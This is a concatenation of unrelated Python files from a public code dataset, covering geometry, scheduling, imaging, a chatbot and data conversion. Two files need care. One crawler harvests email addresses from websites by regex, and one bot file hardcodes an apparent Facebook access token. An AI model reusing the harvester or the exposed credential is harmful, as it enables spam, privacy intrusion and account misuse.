M.Model.materials.update(material_name, new_material)\n        \n        \n\nclass Observable:\n    \"\"\"\n    \n    \"\"\"\n    def __init__(self, initialValue=None):\n        self.data = initialValue\n        self.callbacks = {}\n        \n    def addCallback(self, func):\n        self.callback[func]\n        \n    def delCallback(self, func):\n        del self.callback[func]\n        \n    def doCallbacks(self):\n        for func in self.callbacks:\n            func(self.data)\n            \n    def update(self, data):\n        self.data = data\n        self.doCallbacks()\n        \n\n\n\n\nif __name__ == \"__main__\":\n    app=Controller()\n    app.mainloop()","repo_name":"mazshahbaz/Prestress-2000","sub_path":"MVC Rebuild/p2k_controller.py","file_name":"p2k_controller.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"41570640584","text":"\"\"\" Skeleton.\n\nCompute the skeleton of a tidal channel network.\n\nAuthor: Olivier Gourgue (University of Antwerp & Boston University).\n\n\"\"\"\n\nimport numpy as np\nimport shapely as shp\n\nimport centerline.geometry\n\n\n################################################################################\n# Raw skeleton. ################################################################\n################################################################################\n\ndef raw_skeleton(mpol, dx = .5):\n    \"\"\"Compute the center line of a tidal channel network.\n\n    Args:\n        mpol (MultiPolygon): Tidal channel network.\n        dx (float): Parameter defined in the centerline package. Densify the\n            input geometry’s border by placing additional points at this\n            distance. Note from TidalGeoPro developers: it also decreases point\n            density if larger than original density. Default to 0.5 (meter).\n\n    Returns:\n        List of MultiLineStrings: Raw skeleton. There is one raw skeleton\n            MultilineString per tidal channel network Polygon.\n    \"\"\"\n\n    # Compute raw skeleton, as center line of the tidal channel network. All\n    # segments (LineStrings of two Points) generated by Centerline are merged\n    # into longer LineStrings using linemerge from Shapely operations.\n    skls = []\n    for pol in mpol.geoms:\n        skls.append(shp.ops.linemerge(centerline.geometry.Centerline(pol, dx)))\n\n    # Convert raw skeletons into MultiLineStrings if necessary.\n    for i in range(len(skls)):\n        if skls[i].type == 'LineString':\n            skls[i] = shp.geometry.MultiLineString([skls[i]])\n\n    return skls\n\n\n################################################################################\n# Clean skeleton. ##############################################################\n################################################################################\n\ndef clean_skeleton(skls, mpol, ratio = 1):\n    \"\"\"Clean the raw skeleton by removing small channel head sections.\n\n    Args:\n        skls (list of MultiLineStrings): Raw skeleton.\n        mpol (MultiPolygon): Tidal channel network.\n        ratio (float): Threshold ratio (section length / distance between\n            downstream node and channel banks). Channel head sections with lower\n            ratio are removed. Default to 1.\n\n    Returns:\n        List of MultiLineStrings: Clean skeleton. There is one clean skeleton\n            MultilineString per tidal channel network Polygon.\n    \"\"\"\n\n    # Remove small channel head sections.\n    # Loop over tidal channel networks.\n    for i in range(len(mpol.geoms)):\n        # Tidal channel network.\n        pol = mpol.geoms[i]\n        # Raw skeleton.\n        skl = skls[i]\n        # Loop as long as there are channel head sections to remove.\n        while True:\n            # Convert MultiLineString into list of LineStrings.\n            lss = []\n            for ls in skl.geoms:\n                lss.append(ls)\n            # Indices of channel sections to remove.\n            ind = []\n            # Loop over channel sections.\n            for j in range(len(skl.geoms)):\n                # Channel section.\n                ls = skl.geoms[j]\n                # Remaining skeleton.\n                skl0 = shp.geometry.MultiLineString(lss[:j] + lss[j + 1:])\n                # Channel section nodes.\n                p0 = shp.geometry.Point(ls.coords[0])\n                p1 = shp.geometry.Point(ls.coords[-1])\n                # Distance between channel section nodes and remaining skeleton.\n                d0 = p0.distance(skl0)\n                d1 = p1.distance(skl0)\n                # Test if this is a channel head section.\n                if d0 > 0 or d1 > 0:\n                    # Downstream channel section node.\n                    if d0 == 0:\n                        pd = p0\n                    else:\n                        pd = p1\n                    # Distance between downstream channel section node and\n                    # channel banks.\n                    d = pd.distance(pol.exterior)\n                    for interior in pol.interiors:\n                        if pd.distance(interior) < d:\n                            d = pd.distance(interior)\n                    # Test if the channel head section must be removed.\n                    if ls.length / d < ratio:\n                        ind.append(j)\n            # Test if there are channel head sections to remove.\n            if len(ind) > 0:\n                # Remove them and merge remaining sections.\n                lss = []\n                for j in range(len(skl.geoms)):\n                    if j not in ind:\n                        lss.append(skl.geoms[j])\n                skl = shp.ops.linemerge(shp.geometry.MultiLineString(lss))\n                # Convert skeleton into MultiLineString if necessary.\n                if skl.type == 'LineString':\n                    skl = shp.geometry.MultiLineString([skl])\n            else:\n                # Update raw skeleton.\n                skls[i] = skl\n                # End loop.\n                break\n\n    return skls\n\n\n################################################################################\n# Final skeleton. ##############################################################\n################################################################################\n\ndef final_skeleton(skls, mpol, ls, dx, buf = 1e-6):\n    \"\"\"Process the clean skeleton and compute downstream length.\n\n    Skeleton nodes are network branching locations. Skeleton sections are\n        channel reaches between two node. Skeleton points are equal-distance\n        locations along the skeleton. The downstream length is the\n        along-skeleton distance between a certain location and the downstream\n        boundary.\n\n    Args:\n        skls (list of MultiLineStrings): Clean skeleton.\n        mpol (MultiPolygon): Tidal channel network.\n        ls (LineString): Downstream boundary.\n        dx (float): Distance between two points of the final skeleton.\n        buf (float): Buffer tolerance when evaluating zero distance (default to\n            1e-6).\n\n    Returns:\n        NumPy array: Skeleton node coordinates.\n        Numpy array: Skeleton node indices at skeleton sections.\n        Numpy array: Downstream length at skeleton nodes.\n        NumPy array: Skeleton point coordinates.\n        NumPy array: Skeleton section indices at skeleton points.\n        Numpy array: Downstream length at skeleton points.\n    \"\"\"\n\n    # Intersection between downstream LineString and channel network\n    # MultiPolygon. Buffering is needed due to rounding errors if downstream\n    # LineString is on the channel network MultiPolygon boundary.\n    dmls = ls.intersection(mpol.buffer(buf))\n    if dmls.type == 'LineString':\n        dmls = shp.geometry.MultiLineString([dmls])\n\n    # Merge skeletons into one list of LineStrings.\n    lss = []\n    for skl in skls:\n        for ls in skl.geoms:\n            lss.append(ls)\n\n    # Connect skeleton with downstream LineStrings and determine downstream node\n    # indices.\n    for dls in dmls.geoms:\n        # Distance between skeleton sections and downstream LineStrings.\n        d = np.zeros(len(lss))\n        for i, ls in enumerate(lss):\n            d[i] = ls.distance(dls)\n        # Indexes sorted by increasing distance.\n        ind = np.argsort(d)\n        # Loop over sorted skeleton sections.\n        for i in ind:\n            # Test if one of the section nodes is as close to the downstream\n            # LineStrings than the skeleton section itself. If yes, the\n            # candidate downstream section is directly connected to that node.\n            # If no, the candidate downstream section is connected to a middle\n            # point. Test if the candidate downstream section is entirely within\n            # the channel network MultiPolygon (buffering is needed).\n\n            # Skeleton section nodes and their distance to the downstream\n            # LineString.\n            p0 = shp.geometry.Point(lss[i].coords[0])\n            p1 = shp.geometry.Point(lss[i].coords[-1])\n            d0 = p0.distance(dls)\n            d1 = p1.distance(dls)\n            # Connection to first node.\n            if np.abs(d0 - d[i]) < buf:\n                # Already connected if distance is zero.\n                if d0 < buf:\n                    break\n                else:\n                    p2 = dls.interpolate(dls.project(p0))\n                    ls = shp.geometry.LineString([p0, p2])\n                    if ls.within(mpol.buffer(buf)):\n                        lss.append(ls)\n                        break\n            # Connection to second node.\n            elif np.abs(d1 - d[i]) < buf:\n                # Already connected if distance is zero.\n                if d1 < buf:\n                    break\n                else:\n                    p2 = dls.interpolate(dls.project(p1))\n                    ls = shp.geometry.LineString([p1, p2])\n                    if ls.within(mpol.buffer(buf)):\n                        lss.append(ls)\n                        break\n            # Connection to a middle point.\n            else:\n                p2, p3 = shp.ops.nearest_points(dls, lss[i])\n                #p2 = dls.interpolate(.5, normalized = True)\n                #p3 = lss[i].interpolate(lss[i].project(p2))\n                ls = shp.geometry.LineString([p3, p2])\n                if ls.within(mpol.buffer(buf)):\n                    lss.append(ls)\n                    # Split skeleton section in two.\n                    # Loop over channel section points.\n                    for j in range(len(lss[i].coords)):\n                        # Channel section point.\n                        pj = shp.geometry.Point(lss[i].coords[j])\n                        # Case of split point exactly on a section point.\n                        if lss[i].project(pj) == lss[i].project(p3):\n                            lss.append(\n                                shp.geometry.LineString(lss[i].coords[:j + 1]))\n                            lss.append(\n                                shp.geometry.LineString(lss[i].coords[j:]))\n                            break\n                        # Case of split point between two section points.\n                        if lss[i].project(pj) > lss[i].project(p3):\n                            lss.append(\n                                shp.geometry.LineString(lss[i].coords[:j] +\n                                                        [(p3.x, p3.y)]))\n                            lss.append(\n                                shp.geometry.LineString([(p3.x, p3.y)] +\n                                                        lss[i].coords[j:]))\n                            break\n                    del lss[i]\n                    break\n\n    # Skeleton node coordinates.\n    node_xy = []\n    for ls in lss:\n        for coords in [ls.coords[0], ls.coords[-1]]:\n            if coords not in node_xy:\n                node_xy.append(coords)\n    node_xy = np.array(node_xy)\n\n    # Skeleton section connectivity table.\n    node_sections = np.zeros((len(lss), 2), dtype = int)\n    for i, ls in enumerate(lss):\n        n0 = int(np.argwhere(np.all(node_xy == ls.coords[0], axis = 1)))\n        n1 = int(np.argwhere(np.all(node_xy == ls.coords[-1], axis = 1)))\n        node_sections[i, 0] = n0\n        node_sections[i, 1] = n1\n\n    # Downstream node indices.\n    dns = []\n    for i in range(node_xy.shape[0]):\n        # Test if distance between channel section node and downstream\n        # LineString is zero.\n        x, y = node_xy[i, :]\n        if shp.geometry.Point((x, y)).distance(dmls) < buf:\n            dns.append(i)\n\n    # Compute downstream length at skeleton nodes and reorganize skeleton.\n    (node_xy,\n     node_sections,\n     node_dl,\n     lss) = donwstream_length(node_xy, node_sections, lss, dns)\n\n    # Compute final skeleton by (i) removing channel sections and skeleton nodes\n    # that have not been connected to the main skeleton, and (ii) redefining\n    # skeleton points at regular distance from each other.\n\n    # Initialize lists.\n    node_xy_new = []\n    node_sections_new = []\n    node_dl_new = []\n    skl_xy = []\n    skl_sections = []\n    skl_dl = []\n    lss_new = []\n\n    # Loop over old channel sections.\n    for s in range(len(lss)):\n        # Old node indices and corresponding downstream lengths.\n        n0 = node_sections[s, 0]\n        n1 = node_sections[s, 1]\n        node_dl0 = node_dl[n0]\n        node_dl1 = node_dl[n1]\n        # Only keep channel sections connected to the main skeleton.\n        if np.isfinite(node_dl0) and np.isfinite(node_dl1):\n\n            # Update node lists by removing channel sections and skeleton nodes\n            # that have not been connected to the main skeleton.\n\n            # Update node lists for first node.\n            node_xy0 = list(node_xy[n0, :])\n            if node_xy0 in node_xy_new:\n                node_sections_new.append([node_xy_new.index(node_xy0)])\n            else:\n                node_xy_new.append(node_xy0)\n                node_sections_new.append([len(node_xy_new) - 1])\n                node_dl_new.append(node_dl0)\n            # Update node lists for last node.\n            node_xy1 = list(node_xy[n1, :])\n            if node_xy1 in node_xy_new:\n                node_sections_new[-1].append(node_xy_new.index(node_xy1))\n            else:\n                node_xy_new.append(node_xy1)\n                node_sections_new[-1].append(len(node_xy_new) - 1)\n                node_dl_new.append(node_dl1)\n\n            # Redefine skeleton points at regular distance from each other.\n\n            # Downstream length at extreme regular points of the channel\n            # section.\n            skl_dl_loc_0 = np.ceil(node_dl0 / dx) * dx\n            skl_dl_loc_1 = np.floor(node_dl1 / dx) * dx\n            # Update regular skeleton point coordinates, sections and downstream\n            # lengths.\n            for skl_dl_loc in np.arange(skl_dl_loc_0, skl_dl_loc_1 + dx, dx):\n                point = lss[s].interpolate(skl_dl_loc - node_dl0)\n                skl_xy.append([point.x, point.y])\n                skl_dl.append(skl_dl_loc)\n                skl_sections.append(len(node_sections_new) - 1)\n\n    # Convert lists into arrays.\n    node_xy = np.array(node_xy_new)\n    node_sections = np.array(node_sections_new)\n    node_dl = np.array(node_dl_new)\n    skl_xy = np.array(skl_xy)\n    skl_sections = np.array(skl_sections)\n    skl_dl = np.array(skl_dl)\n\n    return node_xy, node_sections, node_dl, skl_xy, skl_sections, skl_dl\n\n################################################################################\n# Downstream length. ###########################################################\n################################################################################\n\ndef donwstream_length(node_xy, node_sections, lss, dns):\n    \"\"\"Compute the downstream length and orient channel sections downstream.\n\n    Args:\n        node_xy (NumPy array): Skeleton node coordinates.\n        node_sections (Numpy array): Skeleton node indices at skeleton sections.\n        lss (List of LineStrings): Skeleton sections.\n        dns (List of int): List of downstream skeleton section indices.\n\n    Returns:\n        NumPy array: Skeleton node coordinates.\n        Numpy array: Skeleton node indices at skeleton sections.\n        Numpy array: Downstream length at skeleton nodes.\n        List of LineStrings: Skeleton sections.\n    \"\"\"\n\n    # Initialize buffer list with downstream section indices.\n    buf = []\n    for dn in dns:\n        buf.append(np.argwhere(node_sections == dn).reshape(-1)[0])\n\n    # Channel section lengths.\n    lens = np.zeros(node_sections.shape[0])\n    for i in range(lens.shape[0]):\n        lens[i] = lss[i].length\n\n    # Initialize downstream length at skeleton nodes.\n    node_dl = np.zeros(node_xy.shape[0]) + np.inf\n    # Loop over channel sections in the buffer list.\n    for i in range(len(buf)):\n        # Section index.\n        s = buf[i]\n        # Downstream node index.\n        nd = dns[i]\n        # Upstream node index.\n        if nd == node_sections[s, 0]:\n            nu = node_sections[s, 1]\n        else:\n            nu = node_sections[s, 0]\n        # Update downstream length at channel section nodes.\n        node_dl[nd] = 0\n        node_dl[nu] = lens[s]\n        # Update channel section and LineString orientation.\n        if nd != node_sections[s, 0]:\n            node_sections[s, 0] = nd\n            node_sections[s, 1] = nu\n            ls_coords = list(lss[s].coords)\n            ls_coords.reverse()\n            lss[s] = shp.geometry.LineString(ls_coords)\n\n    # Loop as long as the buffer list is not empty.\n    while len(buf) > 0:\n        # Initialize list of connected channel sections.\n        con = []\n        # Loop over channel sections in the buffer list.\n        for s in buf:\n            # Channel section nodes.\n            n0 = node_sections[s, 0]\n            n1 = node_sections[s, 1]\n            # Look for connected channel sections.\n            for n in [n0, n1]:\n                ind = list(np.argwhere(node_sections == n)[:, 0])\n                for nc in ind:\n                    if nc != s:\n                        con.append(nc)\n        # Reset buffer list.\n        buf = []\n        # Loop over connected channel sections.\n        for s in con:\n            # Channel section nodes.\n            n0 = node_sections[s, 0]\n            n1 = node_sections[s, 1]\n            # If downstream length at channel section nodes is lower than\n            # previous value, update value and add channel section to buffer\n            # list.\n            node_dl0 = node_dl[n1] + lens[s]\n            node_dl1 = node_dl[n0] + lens[s]\n            if node_dl0 < node_dl[n0]:\n                node_dl[n0] = node_dl0\n                buf.append(s)\n            if node_dl1 < node_dl[n1]:\n                node_dl[n1] = node_dl1\n                buf.append(s)\n            # If downstream length if higher at downstream nodes vs. upstream\n            # nodes, update channel section and LineString orientation.\n            for s in range(node_sections.shape[0]):\n                n0 = node_sections[s, 0]\n                n1 = node_sections[s, 1]\n                node_dl0 = node_dl[n0]\n                node_dl1 = node_dl[n1]\n                if node_dl1 < node_dl0:\n                    node_sections[s, 0] = n1\n                    node_sections[s, 1] = n0\n                    ls_coords = list(lss[s].coords)\n                    ls_coords.reverse()\n                    lss[s] = shp.geometry.LineString(ls_coords)\n\n    # Split channel sections at maximum downstream length.\n    # Initialize list of channel sections to delete.\n    trash = []\n    # Loop over channel sections.\n    for s in range(node_sections.shape[0]):\n        # Channel section nodes.\n        n0 = node_sections[s][0]\n        n1 = node_sections[s][1]\n        # Test if channel section length is higher than the difference between\n        # upstream length at channel section nodes.\n        if lens[s] - np.abs(node_dl[n1] - node_dl[n0]) > 1e-6:\n            # Maximum downstream length on that channel section and\n            # corresponding skeleton point.\n            dl_max = .5 * (lens[s] + node_dl[n0] + node_dl[n1])\n            p_max = lss[s].interpolate(dl_max - node_dl[n0])\n            n_max = node_xy.shape[0]\n            # Split LineString at point of maximum downstream length.\n            # Loop over channel section points.\n            for i in range(len(lss[s].coords)):\n                # Channel section point.\n                pi = shp.geometry.Point(lss[s].coords[i])\n                # Case of split point exactly on a channel section point.\n                if lss[s].project(pi) == dl_max - node_dl[n0]:\n                    node_xy = np.append(node_xy, [[p_max.x, p_max.y]], axis = 0)\n                    node_dl = np.append(node_dl, dl_max)\n                    node_sections = np.append(node_sections, [[n0, n_max]],\n                                              axis = 0)\n                    node_sections = np.append(node_sections, [[n1, n_max]],\n                                              axis = 0)\n                    lss.append(shp.geometry.LineString(lss[s].coords[:i + 1]))\n                    lss.append(shp.geometry.LineString(lss[s].coords[i:]))\n                    trash.append(s)\n                    break\n                # Case of split point between two channel section points.\n                if lss[s].project(pi) > dl_max - node_dl[n0]:\n                    node_xy = np.append(node_xy, [[p_max.x, p_max.y]], axis = 0)\n                    node_dl = np.append(node_dl, dl_max)\n                    node_sections = np.append(node_sections, [[n0, n_max]],\n                                              axis = 0)\n                    node_sections = np.append(node_sections, [[n1, n_max]],\n                                              axis = 0)\n                    lss.append(shp.geometry.LineString(lss[s].coords[:i] +\n                                                       [(p_max.x, p_max.y)]))\n                    lss.append(shp.geometry.LineString([(p_max.x, p_max.y)] +\n                                                       lss[s].coords[i:]))\n                    trash.append(s)\n                    break\n    # Delete original split channel sections.\n    trash.reverse()\n    for s in trash:\n        node_sections = np.delete(node_sections, s, axis = 0)\n        del lss[s]\n\n    return node_xy, node_sections, node_dl, lss\n","repo_name":"ogourgue/tidalgeopro","sub_path":"skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":21396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"35765623382","text":"#time 1560ms\nclass Solution:\n    def minAvailableDuration(self, slots1, slots2, duration: int):\n        slots1.sort()\n        slots2.sort()\n        index = 0\n        for section_x in slots1:\n            for section_y in slots2[index:]:\n                if section_x[0] >= section_y[1]:\n                    index += 1\n                    continue\n                elif section_x[1] <= section_y[0]:\n                    break\n                judge = [section_x[1] - section_y[0], section_x[1] - section_x[0], section_y[1] - section_x[0], section_y[1] - section_y[0]]\n                Min = min(judge)\n                if Min >= duration:\n                    for i in range(4):\n                        if judge[i] == Min and (i == 3 or i == 0):\n                            return [section_y[0], section_y[0] + duration]\n                        elif judge[i] == Min and (i == 2 or i == 1):\n                            return [section_x[0], section_x[0] + duration]\n\n","repo_name":"Horn1998/LeetCode","sub_path":"堆，栈，数组/1229.安排会议日程(数组).py","file_name":"1229.安排会议日程(数组).py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6735740516","text":"import re\nimport requests\nimport requests.exceptions\nfrom urllib.parse import urlsplit\nfrom collections import deque\nfrom bs4 import BeautifulSoup\n\ndef extract_parent(starting_url):\n\n    parent_url = starting_url.replace(\"http://\", \"\").replace(\"https://\", \"\").split('/')[0]\n    unprocessed_urls = deque([starting_url])\n\n    processed_urls = set()\n\n    emails = set()\n    cnt = 0\n    cnt_child_urls = 0\n    emails_all = []\n    result = []\n    while len(unprocessed_urls):\n        if (cnt == (1 + cnt_child_urls)) or (cnt == 30):\n            break\n        cnt = cnt + 1\n        url = unprocessed_urls.popleft()\n        processed_urls.add(url)\n\n        parts = urlsplit(url)\n        base_url = \"{0.scheme}://{0.netloc}\".format(parts)\n        path = url[:url.rfind('/')+1] if '/' in parts.path else url\n\n        try:\n            response = requests.get(url)\n\n        except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError):\n            continue\n\n        new_emails = set(re.findall(r\"[a-z0-9\\.\\-+_]+@[a-z0-9\\.\\-+_]+\\.[a-z]+\", response.text, re.I))\n        emails.update(new_emails)\n\n        for each in emails:\n            if each in emails_all:\n                continue\n            else:\n                emails_all.append(each)\n                scraped = {\n                    \"url\": url,\n                    \"email\": each\n                }\n                #print(scraped)\n                result.append(scraped)\n        # create a beutiful soup for the html document\n        soup = BeautifulSoup(response.text, 'lxml')\n\n        # Once this document is parsed and processed, now find and process all the anchors i.e. linked urls in this document\n        for anchor in soup.find_all(\"a\"):\n            # extract link url from the anchor\n            link = anchor.attrs[\"href\"] if \"href\" in anchor.attrs else ''\n            # resolve relative links (starting with /)\n            if link.startswith('/'):\n                link = base_url + link\n            elif not link.startswith('http'):\n                link = path + link\n            # add the new url to the queue if it was not in unprocessed list nor in processed list yet\n            if not link in unprocessed_urls and not link in processed_urls:\n                if cnt > 1:\n                    continue\n                if parent_url in link:\n                    #print(link)\n                    cnt_child_urls = cnt_child_urls + 1\n                    unprocessed_urls.append(link)\n\n    return result\n#extract_parent(url)","repo_name":"zoran4516/emScraper","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43401876981","text":"# -*- coding: utf-8 -*-\n# $File: eye.py\n# $Date: Mar 31, 20:30, 2015.\n\n__author__ = 'tobin'\n\nimport cv2\nimport numpy as np\n\n\ndef get_eye_region(image, landmarks):\n    \"\"\" get eye region\n\n    :param image:\n    :param landmarks:\n    :return:\n        eyeRegion:\n    \"\"\"\n\n    # image shape\n    height, width = image.shape[:2]\n\n    # pick out eye region\n    region = np.zeros(image.shape[:2], np.uint8)\n    # pick out left eye\n    left_eye_marks = landmarks[\"left_eye\"]\n    for (key, value) in left_eye_marks.items():\n        value[\"x\"] = value[\"x\"] * width / 100\n        value[\"y\"] = value[\"y\"] * height / 100\n        cv2.circle(region, (int(value[\"x\"]), int(value[\"y\"])), 15, 255, -1)\n    # pick out right eye\n    right_eye_marks = landmarks[\"right_eye\"]\n    for (key, value) in right_eye_marks.items():\n        value[\"x\"] = value[\"x\"] * width / 100\n        value[\"y\"] = value[\"y\"] * height / 100\n        cv2.circle(region, (int(value[\"x\"]), int(value[\"y\"])), 15, 255, -1)\n\n    # return eye region\n    return region","repo_name":"skyczhao/silver","sub_path":"AOTee/otee/eye/eye.py","file_name":"eye.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14957088035","text":"# -*- coding: utf-8 -*-\nfrom components.facebook_get_started_button import GetStartedButton\nfrom components.facebook_greeter import Greeter\nfrom components.facebook_menu import Menu\nfrom components.facebook_replier import Replier\n\nACCESS_TOKEN = \"EAAGAoXpiPKIBAP8f5C4WwSHtigeJ3pYYtEZBvSXO0iqHlGzzRrA5XdhFYfBVgwnAOzAtZAFEtEZBI3ZAErrGobXvZADTvz7ZAYg8SqXD4RPUHHFaflVZAQzXAdvmJr0wQc0HPaVAUH0lsBxV6nsJOoeEgmp7cy9Oza9jHJhD8vQHAZDZD\"\n\nclass CampusBot(object):\n\n\tdef __init__(self):\n\t\tself.replier = Replier(ACCESS_TOKEN)\n\t\tself.greeter = Greeter(ACCESS_TOKEN)\n\t\tself.get_started_button = GetStartedButton(ACCESS_TOKEN)\n\t\tself.menu = Menu(ACCESS_TOKEN)\n\t\tself.setup()\n\n\tdef setup(self):\n\t\tself.greeter.setup()\n\t\tself.get_started_button.setup()\n\t\tself.menu.setup()\n\n\tdef handle(self, sender, message):\n\t\tself.replier.reply_to(sender, message)\n","repo_name":"Lucytheanimefan/campus-information-bot","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4455575467","text":"# -*- coding: utf-8 -*-\n\"\"\" Contains functions for manipulating the (wavelength, value) tuples returned\nby the spectra readers.\n\"\"\"\n\nfrom __future__ import (\n    absolute_import,\n    division,\n    print_function,\n    unicode_literals)\nfrom builtins import *\n\nimport numpy as np\n\n\ndef spectra_find_common_wavelengths(*args):\n    \"\"\" Finds the common subset of wavelengths for the given inputs.\n    I could have called this intersect, but chose the name based on purpose.\n\n    Args:\n        *args (array-like): a vector of wavelength values, or a\n            (wavelength, values) tuple.\n\n    Returns:\n        numpy.ndarray: The common subset of wavelengths, which can be used as an\n            input to spectra_apply_wavelength_mask.\n    \"\"\"\n\n    if args:\n        common = args[0]\n        for a in args[1:]:\n            common = np.intersect1d(common, a)\n\n        return common\n    else:\n        raise ValueError('Invalid or insufficient arguments')\n\n\ndef spectra_apply_wavelength_mask(spectra, mask):\n    \"\"\" Applies a wavelength mask to a spectra ((wavelengths, values) tuple).\n    All values in the spectra that are not in the mask will be removed in the\n    returned values. The input spectra is not modified.\n\n    Args:\n        spectra (tuple): the (wavelengths, values) spectra tuple.\n        mask (array-like): The wavelength values that should be retained.\n\n    Returns:\n        The masked tuple of (wavelengths, values).\n    \"\"\"\n\n    boolean_mask = (spectra[0] >= mask.min()) & (spectra[0] <= mask.max())\n    return spectra[0][boolean_mask], spectra[1][boolean_mask]\n","repo_name":"senbox-org/sen2coral-box","sub_path":"sambuca_core/sambuca_core/spectra_operations.py","file_name":"spectra_operations.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"74620257527","text":"import os\nimport analyze_competition as a\nimport prep as p\nimport pickle\ndef create_mhs(dir):\n    mhs = []\n    for root, dirs, files in os.walk(dir):\n        for file in files:\n            file_name = root+\"/\"+file\n            model = file.split(\"pickle\")[1]\n            mhs.append((file_name,model,'a'))\n    return mhs\n\n\nif __name__==\"__main__\":\n    preprocess = p.preprocess()\n    analyze = a.analysis()\n    meta_mhs = []\n    name_dict = {\"pos_plus\":\"POS/NEG Max\",\"pos_plus_big\":\"POS/NEG Max\",\"pos_minus_big\":\"POS/NEG Min\",'pos_minus':\"POS/NEG Min\",'squared_minus_big':\"Squared Min\",'squared_plus_big':\"Squared Max\",'squared_minus':\"Squared Min\",'squared_plus':\"Squared Max\",\"regular\":\"SVM\",\"L1\":\"L1 regularization\",\"doubly\":\"Doubly regularization\",\"minmax\":\"Min Max\",\"maxmin\":\"Max Min\",\"test\":\"L1\"}\n    reverse={name_dict[a]:a for a in name_dict}\n    dirs = [\"test\"]\n    for dir in dirs:\n        meta_mhs.append(create_mhs(dir))\n    meta_model_objects = []\n    for mhs in meta_mhs:\n        meta_model_objects.append(preprocess.load_model_handlers(mhs))\n    cd = preprocess.extract_features_by_epoch(\"features_asr_modified\")\n    analyze.create_table(meta_model_objects,cd,name_dict)\n    # analyze.get_metrices_for_table(meta_model_objects,cd)\n    # analyze.append_data_retrieval(pickle.load(open(\"maxmin.pickle\",\"rb\")),pickle.load(open(\"minmax.pickle\",\"rb\")),reverse)","repo_name":"greggoren/robustness","sub_path":"mother_of_all_tables.py","file_name":"mother_of_all_tables.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29635745418","text":"import pydicom\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n# import sys\n# sys.path.append('C:\\\\Users\\Thomas\\AppData\\Local\\Programs\\Python\\Python39\\Lib\\site-packages')\nimport medpy.io.save as mha_save\nimport csv\n\npatient_list = []\nvisit_date_list = []\nwith open(\"/exports/lkeb-hpc/tlandman/Data/visit_dates.csv\") as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=',')\n    for row in csv_reader:\n        patient_list.append(str(row[0]))\n        visit_date_list.append(str(row[1]))\ndir_path = \"/exports/lkeb-hpc/tlandman/Data/\"\nfor scanID in range(len(visit_date_list)):\n    data_path = os.path.join(dir_path, patient_list[scanID], visit_date_list[scanID])\n    old_dose_path = os.path.join(data_path, 'Dose/RTDose_4_physicalDose.dcm')\n    ds = pydicom.dcmread(old_dose_path)\n    dose_array = np.moveaxis(np.float32(ds.pixel_array * ds.DoseGridScaling), 0, -1)\n    dose_path_new = os.path.join(data_path, 'Dose/RTDose_4_physicalDose.mha')\n    mha_save(dose_array, dose_path_new)\n    print(str(scanID)+'klaar')\n\n\n# dose_path =\n# dose_path = \"/exports/lkeb-hpc/tlandman/Patient_Dose/Patient_01/visit_20070510/Dose/RTDose_4_physicalDose.dcm\"\n# ds = pydicom.dcmread(dose_path)\n# dose_array = np.moveaxis(ds.pixel_array, 0, -1)\n# ds = pydicom.dcmread(dose_path)\n# dose_array = np.moveaxis(np.float32(ds.pixel_array*ds.DoseGridScaling), 0, -1)\n\n# plt.imshow(dose_array[:,:,30])\n# plt.colorbar()\n# plt.show()\n# dose_path_new = \"/exports/lkeb-hpc/tlandman/Patient_Dose/Patient_01/visit_20070510/Dose/RTDose_4_physicalDose.mha\"\nmha_save(dose_array, dose_path_new)","repo_name":"thomaslandman/Thesis","sub_path":"MultiTask/utils/save-mha.py","file_name":"save-mha.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42101843065","text":"#Задание 1\ndef SummArr(x):\n    sum = 0\n    arr = [int(input()) for i in range(x)]\n    for i in range(x):\n        sum += arr[i]\n    print('Ответ к заданию 1: ',sum)\n    print()\n\nSummArr(10)\n\n\n\n#Здание 2\ndef CountArr(x):\n    count=0\n    arr = [int(input()) for i in range(x)]\n    for i in arr:\n        if i == 0:\n            count +=  1\n    print('Ответ к заданию 2: ', count)\n\nCountArr(10)\n\n\n\n\n#Задание 3\nprint()\n\nn1 = int(input('Введите число для задания 3 и получите ответ: '))\nfor i in range(1, n1+1):\n    for j in range(1, i+1):\n        print(j, end='')\n    print() \n\n\n#Задание 4\nprint()\n\nn2 = int(input('Введите число для задания 4 и получите ответ: '))\nfor i in range(1, n2+1):\n    for j in range(1, i+1):\n        print(j, end='')\n    for j in range(1, i)[::-1]:\n        print(j, end='')\n    print() ","repo_name":"ADLyubimov/PythonLabs","sub_path":"Lab3.py","file_name":"Lab3.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
